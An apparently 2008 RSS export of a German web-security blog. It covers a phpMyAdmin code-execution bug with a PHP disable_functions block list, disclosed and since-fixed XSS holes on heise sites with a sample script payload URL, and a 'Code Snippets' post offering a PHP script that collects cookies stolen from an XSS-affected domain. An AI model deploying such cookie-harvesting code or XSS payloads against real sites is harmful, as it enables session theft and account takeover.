<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>.The-Wildcat.de</title>
	<atom:link href="http://www.the-wildcat.de/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.the-wildcat.de</link>
	<description>All around Websecurity</description>
	<pubDate>Mon, 22 Dec 2008 12:25:53 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>phpMyAdmin code execution vulnerability</title>
		<link>http://www.the-wildcat.de/phpmyadmin-code-execution-vulnerability/</link>
		<comments>http://www.the-wildcat.de/phpmyadmin-code-execution-vulnerability/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 21:55:18 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=120</guid>
		<description><![CDATA[Gerade von der Arbeit nachhause gekommen, wollte ich jetzt eigentlich meine einzige stunde Freizeit etwas anders gestalten, aber nun gut  . So viele fehlerhafte oder halbwahre Aussagen, da muss man etwas korrigieren.
Die L&#252;cke besteht, wie bereits berichtet, in phpMyAdmin Versionen &#60;= 2.11.9.0 und in den Versionen von phpMyAdmin 3. Da diese allerdings noch im [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-125" title="provided by http://flickr.com/photos/davestfu/2157396025/sizes/l/" src="http://www.the-wildcat.de/wp-content/uploads/2008/09/2157396025_5a492ec362_b.jpg" alt="" width="180" height="135" />Gerade von der Arbeit nachhause gekommen, wollte ich jetzt eigentlich meine einzige stunde Freizeit etwas anders gestalten, aber nun gut <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> . So viele fehlerhafte oder halbwahre Aussagen, da muss man etwas korrigieren.</p>
<p>Die L&#252;cke besteht, <a href="http://fd.the-wildcat.de/pma_e36a091q11.php" target="_blank">wie</a> <a href="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2008-7" target="_blank">bereits</a> <a href="http://www.heise.de/security/Schwachstelle-in-phpMyAdmin--/news/meldung/116048" target="_blank">berichtet</a>, in phpMyAdmin Versionen &lt;= 2.11.9.0 und in den Versionen von phpMyAdmin 3. Da diese allerdings noch im RC status sind, sollten diese nirgends in Produktivumgebungen Verwendung finden.<span id="more-120"></span></p>
<p>&nbsp;</p>
<h4>Wo ist also das Problem?</h4>
<p>Die L&#252;cke findet sich in der Vorbereitung des Funktionsstrings f&#252;r <a href="http://de2.php.net/manual/de/function.create-function.php" target="_blank">create_function</a>, welche eine &#8220;on the fly&#8221; erzeugte Sortierfunktion bereitstellen soll.<br />
In phpMyAdmin2 betrifft das Problem nur Umgebungen die MySql &lt; 5 einsetzen oder die Option NaturalOrder gesetzt ist<br />
<code> /**<br />
* apply limit and order manually now<br />
* (caused by older MySQL &lt; 5 or $GLOBALS['cfg']['NaturalOrder'])<br />
*/</code></p>
<p>Wenn MySql5 im Einsatz ist, m&#252;sste in <span class="syntax"> <span class="syntax_quote syntax_quote_backtick">`information_schema`</span><span class="syntax_punct syntax_punct_qualifier">.</span><span class="syntax_quote syntax_quote_backtick">`SCHEMATA`<br />
</span></span> eine Spalte vorhanden sein, die den gleichen Namen wie der Angriffsvektor hat.<br />
Daher sollte der Angriff in diesem Fall auch fehlschlagen. <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<h4>phpMyAdmin3</h4>
<p>In phpMyAdmin3 wurde in Zeile 433 der database_interface.php, die Stelle an der entschieden wird ob information_schema genutzt wird oder nicht, nur die Option &#8220;DisableIS&#8221; gepr&#252;ft. Das Problem an dieser Stelle ist, das die Option standardm&#228;&#223;ig auf True gesetzt ist.<br />
<code>if (! $GLOBALS['cfg']['Server']['DisableIS']) {</code><br />
Was in der Standardkonfiguration zu einem &#8220;falsch&#8221; ausgewertet wird und dazu f&#252;hrt das weiter unten im Code (Zeile 571) die NaturalOrder genutzt wird.</p>
<h4>Man ben&#246;tigt einen g&#252;ltigen Account?</h4>
<p>Dies ist wohl der interessanteste Teil f&#252;r die meisten Nutzer. Ja es wird ein Account daf&#252;r ben&#246;tigt oder der valide Sitzungstoken um es mittels CSRF ausnutzen zu k&#246;nnen. Daher betrifft dieses Problem eher Shared-Hosting Anbieter und &#228;hnliche und weniger Einzelumgebungen.</p>
<p>Hier und da kamen fragen auf, wenn man denn sowieso Zugang zu phpMyAdmin hat, warum ist das dann noch so schlimm?<br />
Nun, die meisten Anbieter von Shared-Hosting u.&#228;. nutzen eine Instanz von phpMyAdmin f&#252;r viele User und diese liegt auf einem extra Host/Virtual Host und die Nutzer d&#252;rfen dort i.d.R. keinen PHP-Code o.&#228;. ausf&#252;hren.</p>
<h4>Wie also sch&#252;tzen?</h4>
<p>Wie unter anderem Heise berichtet, soll man die Funktion exec deaktivieren, damit man (sofern dies &#252;berhaupt erlaubt war) keine Shellbefehle absetzen kann. Nun, ehrlich gesagt ist das absolut sinnlos, da w&#228;ren unter anderem noch backticks, shell_exec, system, fopen und php funktionen die n&#252;tzliche Infos &#252;ber das System liefern, Dateisystembefehle von php usw.</p>
<p>Ein einfaches print phpinfo() w&#252;rde auch die phpinfo anzeigen. copy() um Dateien auf die der Webserver Zugriff hat zu kopieren und vieles mehr.</p>
<p>Wenn man disable_functions von php bem&#252;ht, sollte dies schon ca so aussehen:<br />
<code>disable_functions = symlink,pfsockopen,proc_open,proc_nice,proc_terminate,<br />
proc_close,proc_get_status,shell_exec,exec,passthru,system,popen,highlight_file,diskfreespace,<br />
disk_free_space,disk_total_space,show_source,php_uname,ini_alter,ini_restore,getrusage,get_current_user,<br />
set_time_limit,getmyuid,getmypid,dl,leak,posix_getpwuid,posix_getgrgid</code></p>
<p>Zusammenfassend:</p>
<ul>
<li>Magic_Quotes muss deaktiviert sein</li>
<li>&lt; MySql5</li>
<li>Betrifft eigentlich nur Massenhosting oder &#228;hnliches</li>
<li>Thanks to Marc Delisle for the nice conversation  <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/phpmyadmin-code-execution-vulnerability/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XSS auf heise.de/heisetreff.de</title>
		<link>http://www.the-wildcat.de/xss-auf-heise_heisetreff_de/</link>
		<comments>http://www.the-wildcat.de/xss-auf-heise_heisetreff_de/#comments</comments>
		<pubDate>Tue, 08 Jul 2008 08:00:54 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=117</guid>
		<description><![CDATA[Vor ca einem Monat hatte ich auf heise.de nach potentiellen L&#252;cken gefahndet und wurde wenig sp&#228;ter auf www.heisetreff.de f&#252;ndig. Heisetreff ist eine Art Kleinanzeigenmarkt der noch weiteren Umfang bietet, Eventkalender usw.
&#160;
Es befanden sich &#252;ber 6 XSS L&#252;cken auf der Seite. &#8220;Persistent&#8221; sowie &#8220;Reflected&#8221;. Da sieht man wieder das selbst Seiten wie heise nicht vor solchen [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-118" title="security_logo" src="http://www.the-wildcat.de/wp-content/uploads/2008/07/security_logo.gif" alt="" width="112" height="75" />Vor ca einem Monat hatte ich auf <a href="http://www.heise.de">heise.de</a> nach potentiellen L&#252;cken gefahndet und wurde wenig sp&#228;ter auf <a href="www.heisetreff.de">www.heisetreff.de</a> f&#252;ndig. Heisetreff ist eine Art Kleinanzeigenmarkt der noch weiteren Umfang bietet, Eventkalender usw.<span id="more-117"></span></p>
<p>&nbsp;</p>
<p>Es befanden sich &#252;ber 6 XSS L&#252;cken auf der Seite. &#8220;Persistent&#8221; sowie &#8220;Reflected&#8221;. Da sieht man wieder das selbst Seiten wie heise nicht vor solchen Fehlern gesch&#252;tzt sind, auch wenn heise.de/Security immer &#252;ber Fehler dieser Art auf anderen Seiten hinweist (hier sind die negativen Hinweise gemeint <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) und manchmal auch gespottet wird <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p>Fatal waren die persistenten L&#252;cken auf der Profilseite bei heisetreff, da es ziemlich einfach ist jemand dazu zu bewegen auf sein Profil zu klicken. Allerdings muss man sagen, wenn man bei seinem Login <em>Sitzung an IP binden</em> ausw&#228;hlt, dann nutzt der Cookie dem Angreifer nichts. Selbst wenn man einen Cookie daraus machen w&#246;llte der nicht an die IP gebunden ist, scheitert dies vorl&#228;ufig, da die Integrit&#228;t und Authentizit&#228;t des Cookies &#252;berpr&#252;ft wird (anhand eines Hashwertes der ebenfalls im Cookie gespeichert ist, allerdings durch einen geheimen Schl&#252;ssel beeinflusst wird und daher nicht einfach reproduziert werden kann). Dadurch ist die Sitzungsl&#228;nge allerdings an die Dauer der IP-Lease-Time gebunden.</p>
<p>W&#228;hlt man den normalen Login, kann der Cookie zur Authentifikation genutzt werden. Heise.de und alle ihre Seiten nutzen das gleiche System. (Ich werde demn&#228;chst noch eine M&#246;glichkeit vorstellen wie man sich auch davor sch&#252;tzen kann, wobei das nicht wirklich neu ist, aber scheinbar dennoch nicht allgemein bekannt ist)</p>
<p>Nach meiner ersten Mail habe ich 1 Monat gewartet, nachdem keine Reaktion erfolgte habe ich es nochmal unter einer anderen Mailadresse probiert und siehe da, nach wenigen Stunden eine Antwort <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> .</p>
<p>Die L&#252;cken wurden noch am <strong>selben!</strong> Tag geschlossen, nach einer kleineren Unterhaltung mit dem Entwickler. <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Angespornt von dem Fund auf heisetreff habe ich anschlie&#223;end weiter nach einer L&#252;cke auf www.heise.de gesucht, die sicherlich mehr wert ist als eine auf heisetreff. Und siehe da nach kurzer Zeit wurde ich ebenfalls f&#252;ndig. Eine &#8220;Reflected XSS&#8221; L&#252;cke.</p>
<p>Die L&#252;cken sind wie bereits gesagt alle geschlossen <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> . Allerdings habe ich mich dazu entschieden hier einen Artikel dar&#252;ber zu schreiben, da auf heisec nichts dar&#252;ber zu lesen war und ganz unter den Tisch kehren wollen wir das dann auch nicht <img src='http://www.the-wildcat.de/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<ul>
<li><a title="heise.de XSS" href="http://www.heise.de/preisvergleich/?qlink=&lt;script&gt;alert(/test/)&lt;/script&gt;&amp;subi=infos" target="_blank">http://www.heise.de/preisvergleich/?qlink=&lt;script&gt;alert(/test/)&lt;/script&gt;&amp;subi=infos<br />
</a>
</li>
<li><a title="heisetreff.de XSS" href="http://fd.the-wildcat.de/heisetreff_a95377fd6b.html" target="_blank">L&#252;cken auf heisetreff</a></li>
<li>http://www.heisetreff.de/?rm=&lt;javascript payload&gt;</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/xss-auf-heise_heisetreff_de/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Code Snippets</title>
		<link>http://www.the-wildcat.de/code-snippets/</link>
		<comments>http://www.the-wildcat.de/code-snippets/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 01:26:09 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[Web Application Security]]></category>

		<category><![CDATA[XSS]]></category>

		<category><![CDATA[Cookie auslesen]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=112</guid>
		<description><![CDATA[Wenn jemand gewisse Cookies von einer Domain &#8220;abgreifen&#8221; muss, k&#246;nnten diese beiden Code Snippets hilfreich sein. Das erste PHP-Script erspart einem immer wieder ein neues Script zu schreiben weil man hier und da einen Wert mehr braucht als dort o.&#228;.
Mittels dem Parameter &#8220;c&#8221; werden dem Script durch : separiert die Werte mittgeteilt die &#252;bermittelt werden. [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.the-wildcat.de/wp-content/uploads/2008/07/break_x.jpg" alt="" title="provided by http://flickr.com/photos/daviddoctorrose/431786001/" class="alignleft size-full wp-image-113" />Wenn jemand gewisse Cookies von einer Domain &#8220;abgreifen&#8221; muss, k&#246;nnten diese beiden Code Snippets hilfreich sein. Das erste PHP-Script erspart einem immer wieder ein neues Script zu schreiben weil man hier und da einen Wert mehr braucht als dort o.&#228;.</p>
<p>Mittels dem Parameter &#8220;c&#8221; werden dem Script durch : separiert die Werte mittgeteilt die &#252;bermittelt werden. &#220;ber den optionalen Parameter &#8220;l&#8221; kann ein Dateiname festgelegt werden. Anschlie&#223;end m&#252;ssen nat&#252;rlich noch die benutzerdefinierten Werte &#252;bergeben werden.<br />
<span id="more-112"></span><br />
Im Script selbst k&#246;nnen dann noch die Werte f&#252;r die Dateierweiterung, den Zugriffsmodus der Datei, den Standard Dateiname, sowie der Separator angepasst werden.</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">/*
#########################################################
#
#   Variable script to pass maybe cookie values from an xssed domain
#	or something totally different
#========================================================
#
#    Author:		Wildcat                                   
#
#    Website:		http://www.the-wildcat.de/                            
#
#    email:		wildcat[at]the-wildcat[DoT]de                
#
#========================================================
#
#    Usage:		http://urltoscript/scriptname.php?c=user:password&amp;l=some_special_filename&amp;user=max&amp;password=something_secret  
#    
##########################################################
*/</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> died<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="">'go away dude'</span><span style="color: #009900;">&#41;</span>;
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> c<span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="">'/[^a-z0-9_-]/i'</span><span style="color: #339933;">,</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span> || <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">255</span><span style="color: #009900;">&#41;</span> died<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">true</span>;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$ext</span> <span style="color: #339933;">=</span> <span style="">'.txt'</span>;
<span style="color: #000088;">$lf</span> <span style="color: #339933;">=</span> <span style="">'exploit'</span><span style="color: #339933;">.</span><span style="color: #000088;">$ext</span>;
<span style="color: #000088;">$fm</span> <span style="color: #339933;">=</span> <span style="">'a'</span>;
<span style="color: #000088;">$separator</span> <span style="color: #339933;">=</span> <span style="">':'</span>;
<span style="color: #000088;">$p</span> <span style="color: #339933;">=</span> <span style="">''</span>;
<span style="color: #000088;">$maxReq</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">35</span>;
<span style="color: #000088;">$_</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_REQUEST</span>;
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="">'c'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> || <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #000088;">$maxReq</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	died<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="">'l'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> c<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="">'l'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$lf</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="">'l'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$ext</span>;
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="">':'</span><span style="color: #339933;">,</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="">'c'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #990000;">array_map</span><span style="color: #009900;">&#40;</span><span style="">'c'</span><span style="color: #339933;">,</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span>;
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$lf</span><span style="color: #339933;">,</span><span style="color: #000088;">$fm</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		died<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$param</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$param</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> died<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
		<span style="color: #000088;">$p</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="">'%s'</span><span style="color: #339933;">,</span><span style="color: #000088;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$param</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$separator</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span><span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff; font-style: italic;">/**/substr($p,0,strlen($p)-strlen($separator))/**/</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> ENT_NOQUOTES<span style="color: #339933;">,</span><span style="">'utf8'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>;
	<span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #009900;">&#41;</span>;
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Ein n&#252;tzliches Javascript Snippet zum auslesen, l&#246;schen und erzeugen von Cookies. Sowie eine bessere encode Funktion. Diese ist aus rsnakes XSS Cheatsheet.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> readCookie<span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> nameEQ <span style="color: #339933;">=</span> <span style="color: #000066;">name</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;=&quot;</span>;
	<span style="color: #003366; font-weight: bold;">var</span> ca <span style="color: #339933;">=</span> document.<span style="color: #660066;">cookie</span>.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">';'</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span>0;i <span style="color: #339933;">&lt;</span> ca.<span style="color: #660066;">length</span>;i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> c <span style="color: #339933;">=</span> ca<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>;
		<span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>c.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span>0<span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #3366CC;">' '</span><span style="color: #009900;">&#41;</span> c <span style="color: #339933;">=</span> c.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #339933;">,</span>c.<span style="color: #660066;">length</span><span style="color: #009900;">&#41;</span>;
		<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>c.<span style="color: #660066;">indexOf</span><span style="color: #009900;">&#40;</span>nameEQ<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> 0<span style="color: #009900;">&#41;</span> <span style="color: #000066; font-weight: bold;">return</span> c.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span>nameEQ.<span style="color: #660066;">length</span><span style="color: #339933;">,</span>c.<span style="color: #660066;">length</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">null</span>;
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> createCookie<span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span>value<span style="color: #339933;">,</span>days<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>days<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> date <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
		date.<span style="color: #660066;">setTime</span><span style="color: #009900;">&#40;</span>date.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>days<span style="color: #339933;">*</span><span style="color: #CC0000;">24</span><span style="color: #339933;">*</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>;
		<span style="color: #003366; font-weight: bold;">var</span> expires <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;; expires=&quot;</span><span style="color: #339933;">+</span>date.<span style="color: #660066;">toGMTString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #003366; font-weight: bold;">var</span> expires <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span>;
	document.<span style="color: #660066;">cookie</span> <span style="color: #339933;">=</span> <span style="color: #000066;">name</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;=&quot;</span><span style="color: #339933;">+</span>value<span style="color: #339933;">+</span>expires<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;; path=/&quot;</span>;
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> deleteCookie<span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	createCookie<span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">,-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span>;
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> convertToHex<span style="color: #009900;">&#40;</span>num<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> hex <span style="color: #339933;">=</span> <span style="color: #3366CC;">''</span>;
	<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span>0;i<span style="color: #339933;">&lt;</span>num.<span style="color: #660066;">length</span>;i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>num.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">16</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toUpperCase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">length</span> <span style="color: #339933;">&lt;</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			hex <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;%0&quot;</span> <span style="color: #339933;">+</span> num.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">16</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toUpperCase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
		<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
			hex <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;%&quot;</span> <span style="color: #339933;">+</span> num.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">16</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toUpperCase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>;
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">return</span> hex; 
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.the-wildcat.de/code-snippets/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Das ICQ-Drama</title>
		<link>http://www.the-wildcat.de/das-icq-drama/</link>
		<comments>http://www.the-wildcat.de/das-icq-drama/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 23:49:27 +0000</pubDate>
		<dc:creator>The-Wildcat</dc:creator>
		
		<category><![CDATA[Allgemeines]]></category>

		<category><![CDATA[Lifestyle]]></category>

		<category><![CDATA[Technologie]]></category>

		<category><![CDATA[ICQ]]></category>

		<category><![CDATA[pidgin]]></category>

		<guid isPermaLink="false">http://www.the-wildcat.de/?p=108</guid>
